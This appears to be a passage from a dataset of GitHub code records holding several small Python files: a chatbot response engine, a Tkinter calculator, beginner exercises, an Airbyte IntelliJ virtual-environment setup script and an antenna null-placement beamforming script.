chatbot cannot answer questions from the user.\r\n        self.minimum_similarity_threshold = kwargs.get(\r\n            'minimum_similarity_threshold', MINIMUM_SIMILARITY_THRESHOLD\r\n        )\r\n\r\n        # number of answers\r\n        self.number_of_answers = kwargs.get(\r\n            'number_of_answers', NUMBER_OF_ANSWERS\r\n        )\r\n\r\n        # Logic adapters used by the chatbot\r\n        adapters = kwargs.get('logic_adapters', [\r\n            {\r\n                'import_path': 'chatbot.adapter.WhatCanIDo',\r\n                'storage': self.storage,\r\n                'logger': self.logger\r\n            },\r\n            {\r\n                'import_path': 'chatbot.adapter.DomainManager',\r\n                'logger': self.logger\r\n            },\r\n            {\r\n                'import_path': 'chatbot.adapter.BestMatch',\r\n                'storage': self.storage,\r\n                'logger': self.logger\r\n            },\r\n        ])\r\n\r\n        # initialize the adapter class\r\n        self.logic_adapters = []\r\n        for adapter in adapters:\r\n            validate_class(adapter, LogicAdapter)\r\n            logic_adapter = initialize_class(adapter)\r\n            self.logic_adapters.append(logic_adapter)\r\n\r\n        # the processing before the statement is passed to the chatbot\r\n        self.preprocessors = []\r\n        preprocessors = kwargs.get(\r\n            'preprocessors', [\r\n                'chatbot.preprocessor.clean_whitespace'\r\n            ]\r\n        )\r\n        for preprocessor in preprocessors:\r\n            self.preprocessors.append(import_module(preprocessor))\r\n\r\n        if kwargs.get('initialize', True):\r\n            self.initialize()\r\n\r\n    def initialize(self):\r\n        pass\r\n\r\n    def get_response(self, input_statement=None, **kwargs):\r\n        \"\"\"\r\n        Return the bot's response based on the input.\r\n\r\n        :param str input_statement: string\r\n        :returns str: a response to the input\r\n        \"\"\"\r\n        self.logger.info('the processing the statement \"{}\"'.format(input_statement))\r\n        # Preprocess the input statement\r\n        for preprocessor in self.preprocessors:\r\n            input_statement = preprocessor(input_statement)\r\n            self.logger.info('after the preprocessor \"{}\" processing, the statement becomes \"{}\"'.format(\r\n                get_object_path(preprocessor), input_statement\r\n            ))\r\n\r\n        response = {\r\n            'text': '',\r\n            'context': kwargs.get('context', {'domain': False}),\r\n        }\r\n        # matching statements for each adapter\r\n        all_adapter_answers = []\r\n        for adapter in self.logic_adapters:\r\n            if adapter.can_process(input_statement, **kwargs):\r\n                self.logger.info('\"{}\" adapter starts matching'.format(get_object_path(adapter)))\r\n                answers = adapter.process(input_statement, **kwargs)\r\n                all_adapter_answers.extend(answers)\r\n                self.logger.info('\"{}\" adapter select \"{}\" answers'.format(get_object_path(adapter), len(answers)))\r\n                for answer in answers:\r\n                    self.logger.info(\r\n                        '\"{}\" adapter select the answer to the \"{}\" question as a reply, the confidence is {}'.format(\r\n                            get_object_path(adapter), answer.reference_question, answer.confidence\r\n                        )\r\n                    )\r\n                    # stop matching\r\n                    if answer.confidence >= self.maximum_similarity_threshold:\r\n                        self.logger.info(\r\n                            'the similarity is {} higher than the {} parameter, stop matching.'.format(\r\n                                answer.confidence, 'maximum_similarity_threshold'\r\n                            )\r\n                        )\r\n                        try:\r\n                            response['text'] = answer.get_answer()\r\n                            response['context'] = {'domain': False}\r\n                            # record access log\r\n                            if answer.id != -1:\r\n                                self.storage.create(model_name=access_log_table_name, statement_id=answer.id)\r\n                        except NotEnoughParameterError as e:\r\n                            if response['context'].get('need_extract_parameter') == e.parameter:\r\n                                error_count = response['context'].get('need_extract_parameter_count', 0) + 1\r\n                            else:\r\n                                error_count = 0\r\n\r\n                            if error_count >= CONTEXT_PARAMETER_MAX_ERROR_COUNT:\r\n                                response['text'] = '错误次数过多,该问题已被终止!'\r\n                                response['context']['domain'] = False\r\n                            else:\r\n                                response['text'] = e.message\r\n                                response['context'] = answer.serialize()\r\n                                response['context']['need_extract_parameter'] = e.parameter\r\n                                response['context']['need_extract_parameter_count'] = error_count\r\n                                response['context']['domain'] = True\r\n                        self.logger.info(\r\n                            'finally the response of the \"{}\" statement is \"{}\"'.format(input_statement, response)\r\n                        )\r\n                        return response\r\n            else:\r\n                self.logger.info(\r\n                    'not processing the statement using \"{}\"'.format(get_object_path(adapter))\r\n                )\r\n\r\n        all_adapter_answers.sort(key=lambda s: s.confidence, reverse=True)\r\n        all_adapter_answers = all_adapter_answers[:self.number_of_answers]\r\n        if all_adapter_answers:\r\n            response['text'] = '看看这些内容对您有帮助么？\\n{}\\n都不是？请用一句话完整描述您的问题'.format(\r\n                '\\n'.join(['{}.{}'.format(index + 1, answer.reference_question)\r\n                           for index, answer in enumerate(all_adapter_answers)])\r\n            )\r\n        else:\r\n            response['text'] = '很抱歉，没有理解您的意思，请用简短的话描述您的问题，比如\"获取主机的磁盘空间使用率？\"'\r\n\r\n        self.logger.info('finally the response of the \"{}\" statement is \"{}\"'.format(\r\n            input_statement, response\r\n        ))\r\n\r\n        return response\r\n\r\n    def learn(self, question, answer, category='其他', type_=0, parameters=None, extractor=None):\r\n        \"\"\"\r\n        Learn that the statement provided is a valid response.\r\n        \"\"\"\r\n        features = get_features(question)\r\n        if not features:\r\n            self.logger.warning('because statement \"{}\" has no features, so skip learning'.format(question))\r\n            return\r\n\r\n        # add data to statement table\r\n        try:\r\n            statement_id = self.storage.create(\r\n                model_name=statement_table_name,\r\n                question=question,\r\n                answer=answer,\r\n                category=category,\r\n                type=type_,\r\n                parameters=parameters,\r\n                extractor=extractor\r\n            )\r\n        except Exception as e:\r\n            self.logger.warning('Inserting data into the database failed, {}'.format(e))\r\n            return\r\n\r\n        # add data to tag table and tag_association_statement table\r\n        for feature in features:\r\n            tag = list(self.storage.filter(model_name=tag_table_name, name=feature))\r\n            if len(tag) == 0:\r\n                tag_id = self.storage.create(\r\n                    model_name=tag_table_name,\r\n                    name=feature\r\n                )\r\n            else:\r\n                tag_id = tag[0].id\r\n\r\n            self.storage.create(\r\n                model_name=tag_association_statement_table_name,\r\n                tag_id=tag_id,\r\n                statement_id=statement_id\r\n            )\r\n\r\n        self.logger.info('add \"{}\" as the answer to \"{}\"'.format(\r\n            answer,\r\n            question\r\n        ))\r\n","repo_name":"BarryZM/chatbot-py","sub_path":"chatbot/chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":9334,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"31301228124","text":"from Test_scripts.all_api import AllAPI\nfrom Test_scripts.noneed_test_api import ApiWithNoneed\n\n\nclass NeedTestApi(object):\n    @staticmethod\n    def need_test_api():\n        # 第一步，获取所有API\n        all_url = AllAPI().api_url()\n        # 第二步，获取 noneed的 api\n        noneed = ApiWithNoneed().api_url()\n        url = list(set(all_url) - set(noneed))\n        # url.sort(key=all_url.index)\n        all_api = AllAPI().all_api()\n        return [all_api[i] for i in range(len(all_api)) if all_api[i]['url'] in url]\n","repo_name":"shishuaigang/inroad_api_crawler","sub_path":"Test_scripts/need_test_api.py","file_name":"need_test_api.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"45704031510","text":"from tkinter import *\nfrom functools import partial\n\n\n\n    \n#creer une fenetre \nroot=Tk()\n\n#afficher la fenetre\n\nroot.title(\"My Application\")\nroot.geometry(\"400x400\")\nroot.minsize(400,400)\nroot.iconbitmap(\"projet/imag/OIP.ico\")\nroot.config(background='#A55050')\n#frame\nframe=Frame(root,bg='#A55050')\n#text\ntitre=Label(frame,text=\"Calculatrice\",font=(\"Courrier\",30),bg=\"#A55050\",fg='white')\ntitre.pack()\n\n#autre frame\nframe2=Frame(root,bg='#A55050')\nhaut=Frame(frame2,width=400,height=100,bd=2,relief=SUNKEN)\nbas=Frame(frame2,bg='#A55050',width=400,height=300)\nhaut.grid(row=0,column=0)\nbas.grid(row=1,column=0)\noperateur=Frame(bas,bg='white',width=100,height=300)\ncal=Frame(bas,bg='#A55050',width=300,height=300)\n    \ncal.grid(row=0,column=0)\noperateur.grid(row=0,column=1)\n\n\n\n\n\n\naffiche=Label(haut,text=\"\",font=(\"Courrier\",20),bg='white',fg='#A55050',width=20)\naffiche.grid(row=0,column=0);\nvar=\"\"\n\n\n\n#fonction\ndef calculadd(n):\n    global var\n    n=var\n    for i in range(0,len(n)):\n        if(n[i]==\"+\" and i!=len(n)-1):\n             affiche['text']=str(somme(n))\n        if(n[i]==\"-\" and i!=len(n)-1):\n             affiche['text']=str(sous(n))\n        if(n[i]==\"x\" and i!=len(n)-1):\n             affiche['text']=str(multi(n))\n        if(n[i]==\"/\" and i!=len(n)-1):\n             affiche['text']=str(division(n))\n    var=\"\"\n\ndef somme(n):\n    for i in range(0,len(n)):\n        if(n[i]==\"+\"):\n            return int(n[0:i])+somme(n[i+1:len(n)])\n    return int(n)\ndef sous(n):\n    for i in range(0,len(n)):\n        if(n[i]==\"-\"):\n            return int(n[0:i])-sous(n[i+1:len(n)])\n    return int(n)\n\ndef multi(n):\n    for i in range(0,len(n)):\n        if(n[i]==\"x\"):\n            return int(n[0:i])*multi(n[i+1:len(n)])\n    return int(n)\ndef division(n):\n    for i in range(0,len(n)):\n        if(n[i]==\"/\"):\n            return int(n[0:i])/int(n[i+1:len(n)])\n    \n    \n    \n# autre frame\ndef calculateentree(n):\n    global var\n    var=var+str(n)\n    affiche['text'] =var\n    \n    \n   \n   \n   \n    \ndef calculate():\n    frame.pack_forget()\n    k=1\n    for i in range(0,3):\n        for j in range(0,3):\n            button=Button(cal,text=str(k), font=(\"Courrier\",20),bg=\"white\",fg='#A55050',width=3,command=partial(\n    calculateentree, k))\n            button.grid(row=i+1,column=j,padx=15,pady=10)\n            k+=1\n    button0=Button(cal,text=\"0\", font=(\"Courrier\",20),bg=\"white\",fg='#A55050',width=3,command=partial(\n    calculateentree, str(0)))\n    button0.grid(row=4,column=1,padx=15,pady=10)\n    \n    button1=Button(operateur,text=\"=\", font=(\"Courrier\",20),bg=\"white\",fg='#A55050',width=3,command=partial(calculadd,var))\n    button1.grid(row=1,column=0,padx=10,pady=10)\n    button2=Button(operateur,text=\"+\", font=(\"Courrier\",20),bg=\"white\",fg='#A55050',command=partial(\n    calculateentree, \"+\"))\n    button2.grid(row=2,column=0,padx=10,pady=10)\n    button3=Button(operateur,text=\"-\", font=(\"Courrier\",20),bg=\"white\",fg='#A55050',command=partial(\n    calculateentree, \"-\"))\n    button3.grid(row=3,column=1,padx=10,pady=10)\n    button4=Button(operateur,text=\"*\", font=(\"Courrier\",20),bg=\"white\",fg='#A55050',command=partial(\n    calculateentree, \"x\"))\n    button4.grid(row=3,column=0,padx=10,pady=10)\n    button4=Button(operateur,text=\"/\", font=(\"Courrier\",20),bg=\"white\",fg='#A55050',command=partial(\n    calculateentree, \"/\"))\n    button4.grid(row=2,column=1,padx=10,pady=10)\n    frame2.pack(expand=YES)\n   \n    \n\n#button\nbuttons=Button(frame,text=\"LET'S GO\", font=(\"Courrier\",13),bg=\"white\",fg='#A55050',command=calculate)\nbuttons.pack(pady=25,fill=X)\n\nframe.pack(expand=YES)\nroot.mainloop()","repo_name":"nafyssat/Calculatrice-","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35459454371","text":"# ✔ Напишите функцию для транспонирования матрицы\n\n# Транспонирование матрицы - это операция над матрицей, когда ее строки становятся\n# столбцами с теми же номеромами.\n\n\ndef matrix_transposition(matrix):\n    '''\n    функция для транспонирования матрицы\n    '''\n    new_matrix = [[0] * len(matrix) for i in range(len(matrix[0]))]\n    for i in range(len(matrix)):\n        for j in range(len(matrix[0])):\n            new_matrix[j][i] = matrix[i][j]\n    return new_matrix\n\ndef print_matrix(matrix): # этот метод только для проверки что все работает\n    for row in matrix:\n        for elem in row:\n            print(elem, end=' ')\n        print()\n    print()\n\nif __name__ == '__main__':\n    matrix =[[1, 2], [3, 4], [5, 6]]\n    matrix_1 = [[1, 2, 3], [3, 4, 5], [6, 7, 8]]\n    print_matrix(matrix)\n    print_matrix(matrix_1)\n    new_matrix = matrix_transposition(matrix)\n    new_matrix_1 = matrix_transposition(matrix_1)\n    print_matrix(new_matrix)\n    print_matrix(new_matrix_1)","repo_name":"Marassanovad/Python_2.0","sub_path":"venv/Lesson_4/Task_2.py","file_name":"Task_2.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4315610808","text":"import statistics\n\n\ncarrinho = {\n    'banana': 5,\n    'maçã': 3,\n    'uva': 8\n}\n\ncarrinho['laranja'] = 3\n\ncarrinho['banana'] += 2\n\nprint(carrinho['maçã'])\n\n\ncarrinho.pop('uva')\n\nprint(carrinho)\n\n\nfruta = input(' insira o nome de uma fruta')\n\nif fruta in carrinho:\n    print('Essa fruta já está no carrinho')\nelse:\n    carrinho[fruta] = ''\n    print(carrinho)\n\n\nnotas = {\n    'Ana': 8.5,\n    'João': 7.0,\n    'Maria': 9.5,\n    'Lucas': 6.5\n}\n\nlista = []\n\nfor i in notas:\n    print(i)\n    print(notas[i])\n    lista.append(notas[i])\n\n\n\n\nmedia = statistics.median(lista)\n\nprint(f' a media das notas é {media}')\n\n\n\npessoas = {\n    'pessoa1': {'nome': 'Carlos', 'idade': 25, 'cidade': 'São Paulo'},\n    'pessoa2': {'nome': 'Fernanda', 'idade': 30, 'cidade': 'Rio de Janeiro'}\n}\n\npessoas['pessoa3'] = {'nome':'Luana','idade':18, 'cidade':'Minas Gerais'}\n\n\nprint(pessoas['pessoa2']['cidade'])\n\npessoas['pessoa1']['idade'] = 26\n\nprint(pessoas['pessoa1'])\n\n\nlivros = [\n    {'titulo': '1984', 'autor': 'George Orwell', 'ano': 1949},\n    {'titulo': 'Cem Anos de Solidão', 'autor': 'Gabriel García Márquez', 'ano': 1967}\n]\n\nlivros.append({'titulo':'Admirável Mundo Novo','ator': 'Aldous Huxley'})\n\n\nfor i in livros:\n    print(i['titulos'])\n\n\nprint(livros[0]['ano'])","repo_name":"lucassperanzini/python-","sub_path":"dicionario/ex dic5(geral).py","file_name":"ex dic5(geral).py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20224701121","text":"import argparse\nimport os\nimport subprocess\nimport sys\nimport xml.etree.ElementTree as ET\n\nINTELLIJ_VERSION_FLAG = \"-intellij-version\"\n\n\ndef is_environment_in_jdk_table(environment_name, table):\n    for elem in table:\n        for subelem in elem:\n            attribute = subelem.attrib\n            if attribute.get(\"value\") == environment_name:\n                return True\n    return False\n\n\ndef add_venv_to_xml_root(module: str, module_full_path: str, xml_root):\n    \"\"\"\n    Add a new entry for the virtual environment to IntelliJ's list of known interpreters\n    \"\"\"\n    path_to_lib = f\"{module_full_path}/.venv/lib/\"\n\n    python_version = os.listdir(path_to_lib)[0]\n    environment_name = f\"{python_version.capitalize()} ({module})\"\n\n    table = xml_root.find(\"component\")\n\n    if is_environment_in_jdk_table(environment_name, table):\n        print(f\"{environment_name} already exists. Skipping...\")\n        return\n\n    jdk_node = ET.SubElement(table, \"jdk\", {\"version\": \"2\"})\n\n    ET.SubElement(jdk_node, \"name\", {\"value\": environment_name})\n    ET.SubElement(jdk_node, \"type\", {\"value\": \"Python SDK\"})\n    ET.SubElement(jdk_node, \"version\", {\"value\": f\"{python_version}\"})\n    ET.SubElement(jdk_node, \"homePath\", {\"value\": f\"{module_full_path}/.venv/bin/python\"})\n\n    roots = ET.SubElement(jdk_node, \"roots\")\n    annotationsPath = ET.SubElement(roots, \"annotationsPath\")\n    ET.SubElement(annotationsPath, \"root\", {\"type\": \"composite\"})\n\n    classPath = ET.SubElement(roots, \"classPath\")\n    classPathRoot = ET.SubElement(classPath, \"root\", {\"type\": \"composite\"})\n\n    ET.SubElement(classPathRoot, \"root\", {\"url\": f\"file://{path_to_lib}{python_version}/site-packages\", \"type\": \"simple\"})\n\n\ndef get_output_path(input_path, output_path):\n    if output_path is None:\n        return input_path\n    else:\n        return output_path\n\n\ndef get_input_path(input_from_args, version, home_directory):\n    if input_from_args is not None:\n        return input_from_args\n    else:\n        path_to_intellij_settings = f\"{home_directory}/Library/Application Support/JetBrains/\"\n        walk = os.walk(path_to_intellij_settings)\n        intellij_versions = [version for version in next(walk)[1] if version != \"consentOptions\"]\n        if version in intellij_versions:\n            intellij_version_to_update = version\n        elif len(intellij_versions) == 1:\n            intellij_version_to_update = intellij_versions[0]\n        else:\n            raise RuntimeError(\n                f\"Please select which version of Intellij to update with the `{INTELLIJ_VERSION_FLAG}` flag. Options are: {intellij_versions}\"\n            )\n        return f\"{path_to_intellij_settings}{intellij_version_to_update}/options/jdk.table.xml\"\n\n\ndef module_has_requirements_file(module):\n    path_to_module = f\"{path_to_connectors}{module}\"\n    path_to_requirements_file = f\"{path_to_module}/requirements.txt\"\n    return os.path.exists(path_to_requirements_file)\n\n\ndef get_default_airbyte_path():\n    path_to_script = os.path.dirname(__file__)\n    relative_path_to_airbyte_root = f\"{path_to_script}/../..\"\n    return os.path.realpath(relative_path_to_airbyte_root)\n\n\ndef create_parser():\n    parser = argparse.ArgumentParser(description=\"Prepare Python virtual environments for Python connectors\")\n    actions_group = parser.add_argument_group(\"actions\")\n    actions_group.add_argument(\n        \"--install-venv\", action=\"store_true\", help=\"Create virtual environment and install the module's dependencies\"\n    )\n    actions_group.add_argument(\"--update-intellij\", action=\"store_true\", help=\"Add interpreter to IntelliJ's list of known interpreters\")\n\n    parser.add_argument(\"-airbyte\", default=get_default_airbyte_path(), help=\"Path to Airbyte root directory\")\n\n    modules_group = parser.add_mutually_exclusive_group(required=True)\n    modules_group.add_argument(\"-modules\", nargs=\"?\", help=\"Comma separated list of modules to add (eg source-strava,source-stripe)\")\n    modules_group.add_argument(\"--all-modules\", action=\"store_true\", help=\"Select all Python connector modules\")\n\n    group = parser.add_argument_group(\"Update intelliJ\")\n\n    group.add_argument(\"-input\", help=\"Path to input IntelliJ's jdk table\")\n    group.add_argument(\"-output\", help=\"Path to output jdk table\")\n    group.add_argument(INTELLIJ_VERSION_FLAG, help=\"IntelliJ version to update (Only required if multiple versions are installed)\")\n\n    return parser\n\n\ndef parse_args(args):\n    parser = create_parser()\n    return parser.parse_args(args)\n\n\nif __name__ == \"__main__\":\n    args = parse_args(sys.argv[1:])\n    if not args.install_venv and not args.update_intellij:\n        print(\"No action requested. Add -h for help\")\n        exit(-1)\n    path_to_connectors = f\"{args.airbyte}/airbyte-integrations/connectors/\"\n\n    if args.all_modules:\n        print(path_to_connectors)\n        modules = next(os.walk(path_to_connectors))[1]\n    else:\n        modules = args.modules.split(\",\")\n\n    modules = [m for m in modules if module_has_requirements_file(m)]\n\n    if args.install_venv:\n        errors = []\n        modules_installed = []\n        for module in modules:\n            result = subprocess.run([\"tools/bin/setup_connector_venv.sh\", module, sys.executable], check=False)\n            if result.returncode == 0:\n                modules_installed.append(module)\n            else:\n                errors.append(module)\n        if len(modules_installed) > 0:\n            print(f\"Successfully installed virtual environment for {modules_installed}\")\n        if len(errors) > 0:\n            print(f\"Failed to install virtual environment for {errors}\")\n\n    if args.update_intellij:\n        home_directory = os.getenv(\"HOME\")\n        input_path = get_input_path(args.input, args.intellij_version, home_directory)\n\n        output_path = get_output_path(input_path, args.output)\n        with open(input_path, \"r\") as f:\n            root = ET.fromstring(f.read())\n\n            for module in modules:\n                path_to_module = f\"{path_to_connectors}{module}\"\n                path_to_requirements_file = f\"{path_to_module}/requirements.txt\"\n                requirements_file_exists = os.path.exists(path_to_requirements_file)\n                print(f\"Adding {module} to jdk table\")\n                add_venv_to_xml_root(module, path_to_module, root)\n            with open(output_path, \"w\") as fout:\n                fout.write(ET.tostring(root, encoding=\"unicode\"))\n    print(\"Done.\")\n\n\n# --- tests ---\ndef setup_module():\n    global pytest\n    global mock\n\n\nif \"pytest\" in sys.argv[0]:\n    import unittest\n\n    class TestNoneTypeError(unittest.TestCase):\n        def test_output_is_input_if_not_set(self):\n            input_path = \"/input_path\"\n            output_path = get_output_path(input_path, None)\n            assert input_path == output_path\n\n        def test_get_output_path(self):\n            input_path = \"/input_path\"\n            output_path = \"/input_path\"\n            assert output_path == get_output_path(input_path, output_path)\n\n        @unittest.mock.patch(\"os.walk\")\n        def test_input_is_selected(self, mock_os):\n            os.walk.return_value = iter(((\"./test1\", [\"consentOptions\", \"IdeaIC2021.3\", \"PyCharmCE2021.3\"], []),))\n            os.getenv.return_value = \"{HOME}\"\n            input_from_args = None\n            version = \"IdeaIC2021.3\"\n            input_path = get_input_path(input_from_args, version, \"{HOME}\")\n            assert \"{HOME}/Library/Application Support/JetBrains/IdeaIC2021.3/options/jdk.table.xml\" == input_path\n\n        @unittest.mock.patch(\"os.walk\")\n        def test_input_single_intellij_version(self, mock_os):\n            os.walk.return_value = iter(((\"./test1\", [\"consentOptions\", \"IdeaIC2021.3\"], []),))\n            input_from_args = None\n\n            version = None\n            input_path = get_input_path(input_from_args, version, \"{HOME}\")\n            assert \"{HOME}/Library/Application Support/JetBrains/IdeaIC2021.3/options/jdk.table.xml\" == input_path\n\n        @unittest.mock.patch(\"os.walk\")\n        def test_input_multiple_intellij_versions(self, mock_os):\n            os.walk.return_value = iter(((\"./test1\", [\"consentOptions\", \"IdeaIC2021.3\", \"PyCharmCE2021.3\"], []),))\n            input_from_args = None\n\n            version = None\n            self.assertRaises(RuntimeError, get_input_path, input_from_args, version, \"{HOME}\")\n","repo_name":"airbytehq/airbyte","sub_path":"tools/bin/update_intellij_venv.py","file_name":"update_intellij_venv.py","file_ext":"py","file_size_in_byte":8334,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"}
{"seq_id":"24564206553","text":"class Solution:\n    def validPalindrome(self, s: str) -> bool:\n            p1=0\n            p2=len(s)-1\n            while p1<=p2:\n                if s[p1]!=s[p2]:\n                    string1=s[:p1]+s[p1+1:]\n                    string2=s[:p2]+s[p2+1:]\n                    return string1==string1[::-1] or string2==string2[::-1]\n                p1+=1\n                p2-=1\n            return True","repo_name":"ElshadaiK/Competitive-Programming","sub_path":"680. Valid Palindrome II.py","file_name":"680. Valid Palindrome II.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"36534106559","text":"from numpy import cos, exp, pi, arange, deg2rad, zeros, array, concatenate, newaxis, arccos, rad2deg, abs, angle, sin, log10\nfrom numpy.linalg import inv\nimport matplotlib.pyplot as plt\n\ndef snoi_gen(N, d, scan_ang):\n\n    scan_ang = deg2rad(scan_ang)\n\n    cos_scan = cos(scan_ang)\n    nulls = []\n\n    if -d*(1+cos_scan) < -1 or d*(1-cos_scan) > 1:\n        raise snoi_gen('Scan angle cannot be realized')\n\n    else:\n        i = 0\n\n        for n in range(-N+1, N):\n\n            if (n/N) >= -d*(1 + cos_scan) and (n/N) <=  d*(1 - cos_scan) and n != 0:\n\n                nulls.append(arccos(n/(N*d)+cos_scan))\n                i += 1\n\n    nulls = rad2deg(nulls)\n    return nulls\n\ndef weight_gen(N, d, soi, snoi):\n\n    # Generation of Antenna Array Vector\n    n = arange(0, N, 1)\n\n    # Calculation of Weight Coefficients based on Null Placement parameters\n    Bd = array(zeros(N))\n    Bd[0] = 1\n    Bd[0] = array([1])\n    MRA = array([0])\n    Nulls = array(zeros(N - 1))\n    Nulls_0 = snoi_gen(N, d, soi)\n    Nulls[0:len(Nulls_0)] = Nulls_0\n\n    if len(Nulls) != len(Nulls_0):\n        for i in range(0, len(Nulls) - len(Nulls_0)):\n            Nulls[len(Nulls_0) + i] = Nulls_0[i] - 0.00001\n            # Nulls[len(Nulls_0) + i] = input('Input static null:')\n    Nulls[len(Nulls)-1] = snoi\n\n    print(Nulls)\n\n    theta_d = concatenate((MRA, Nulls))\n    sai_d = pi * cos(theta_d * pi / 180)\n\n    v_sai_d_len = len(theta_d)\n    v_sai_d = zeros((v_sai_d_len, v_sai_d_len), dtype=complex)\n    v_sai_d = array(v_sai_d)\n\n    for k in range(0, len(theta_d)):\n        v = exp(1j * (n - (N - 1) / 2) * sai_d[k])[newaxis]\n        v_sai_d[:, k] = v\n\n    w = inv(v_sai_d).T @ Bd.T\n    w_mag = abs(w)\n    w_ang = rad2deg(angle(w))\n\n    return w_mag, w_ang\n\ndef weight_plot(N, d, soi, snoi):\n\n    # Generation of Antenna Array Vector\n    n = arange(0, N, 1)\n\n    # Calculation of Weight Coefficients based on Null Placement parameters\n    Bd = theta_d = array(zeros(N))\n    Bd[0] = 1\n    Bd[0] = array([1])\n    MRA = array([0])\n    Nulls = array(zeros(N-1))\n    Nulls_0 = snoi_gen(N, d, soi)\n    Nulls[0:len(Nulls_0)] = Nulls_0\n\n    if len(Nulls) != len(Nulls_0):\n        for i in range(0, len(Nulls)-len(Nulls_0)):\n            # Nulls[len(Nulls_0) + i] = Nulls_0[i]\n            Nulls[len(Nulls_0)+i] = input('Input static null:')\n    Nulls[len(Nulls)-1] = snoi\n    print(Nulls)\n    # Nulls[N-2] = null\n\n    theta_d = concatenate((MRA, Nulls))\n    sai_d = pi * cos(theta_d * pi / 180)\n\n    v_sai_d_len = len(theta_d)\n    v_sai_d = zeros((v_sai_d_len, v_sai_d_len), dtype=complex)\n    v_sai_d = array(v_sai_d)\n\n    for k in range(0, len(theta_d)):\n        v = exp(1j * (n - (N - 1) / 2) * sai_d[k])[newaxis]\n        v_sai_d[:, k] = v\n\n    w = inv(v_sai_d).T @ Bd.T\n\n\n    # Parameters prior sampling of the Beampattern\n    sample = 1000\n    theta = arange(0, 360, (180/sample))  # theta = 0:(180 / sample): 360;\n    sai = pi * cos(theta * pi / 180)\n\n    # Calculation of the Beampattern\n    SA = 0\n    BSA_max = 0\n\n    v_sai = zeros((v_sai_d_len, len(theta)), dtype=complex)\n    v_sai = array(v_sai)\n    B = zeros(len(theta), dtype=complex)\n\n    for k in range(0, len(theta)):\n\n        v0 = exp(1j * (n - (N - 1) / 2) * sai[k])\n        v_sai[:, k] = v0\n\n        B[k] = w.T @ v_sai[:, k]\n\n        SA = SA + d * abs(B[k])**2 * sin(theta[k] * pi / 180) * (180 / sample) * (pi / 180)\n\n        if abs(B[k]) > BSA_max:\n            BSA_max = abs(B[k])\n\n\n    B = B / max(abs(B))\n    B_max = max(abs(B))\n    Bl_max = 20 * log10(B_max)\n    B_min = min(abs(B))\n    Bl_min = 20 * log10(B_min)\n\n\n    # Format Plot (Linear)\n    fig = plt.figure()\n    ax = fig.add_subplot(211)\n    plt.grid(True)\n    plt.ylabel('AF Magnitude')\n    ax.tick_params(which='both', direction='out')\n    ax.grid(which='minor', alpha=0.2)\n    ax.grid(which='major', alpha=0.5)\n    ax.set_xscale('linear')\n    ax.set_xticks(array([0, 40, 80, 120, 160, 200, 240, 280, 320, 360]))\n    ax.set_yticks(array([-80, -60, -40, -20, 0]))\n    ax.set_xlim(0, 180)\n    ax.set_ylim(-80, Bl_max+4)\n    plt.plot(theta, 20*log10(abs(B)))\n\n\n    # Format Plot (Polar)\n    ax = plt.subplot(212, polar=True)\n    plt.polar(deg2rad(theta), 20*log10(abs(B)))\n    ax.set_ylim(-30, 10)\n    ax.set_yticks(array([-30, -20, -10, 0]))\n    ax.set_xticks(array(deg2rad([-180, -150, -120, -90, -60, -30, 0, 30, 60, 90, 120, 150])))\n\n    plt.show()","repo_name":"HRG-Lab/Null_Placement","sub_path":"linear_weight_gen.py","file_name":"linear_weight_gen.py","file_ext":"py","file_size_in_byte":4353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71920556580","text":"\nf = open(\"./2020/input/2020_06.txt\")\ninp = f.read().splitlines()\nf.close()\n\ninp.append('')\n\ndef getscore(group):\n    seen = {}\n    for a in group:\n        for c in a:\n            if c not in seen:\n                seen[c] = 0\n            seen[c] += 1\n    part2 = 0\n    for k in seen:\n        if seen[k] == len(group):\n            part2 += 1\n    \n    return len(seen), part2\n\n\n\ngroup = []\npart1 = 0\npart2 = 0\nfor s in inp:\n    if s == '':\n        print(group)\n        a,b = getscore(group)\n        part1 += a\n        part2 += b\n        group = []\n    else:\n        group.append(s)\n\nprint('part1', part1)\nprint('part2', part2)","repo_name":"leppyr64/advent_of_code_python","sub_path":"2020/aoc_2020_06.py","file_name":"aoc_2020_06.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"22994298224","text":"import data_function\nimport time\nimport os\n\n\ntimestr = time.strftime(\"%Y%m%d-%H%M%S\")\npath = timestr+'/'\nif not os.path.exists(path):\n    os.makedirs(path)\n\ni = 0\nwhile 1:\n    data_str = \"23, 56, 89\" # simulated data string stream # should be receive remote sensor data\n    data_function.record_data_csv(data_str, path)\n    print('recorded data')\n    i +=1\n    time.sleep(0.2)\n    if i==10:\n        break","repo_name":"tangshiyuan/altimu10v5","sub_path":"altimu10v5/data_string_test.py","file_name":"data_string_test.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
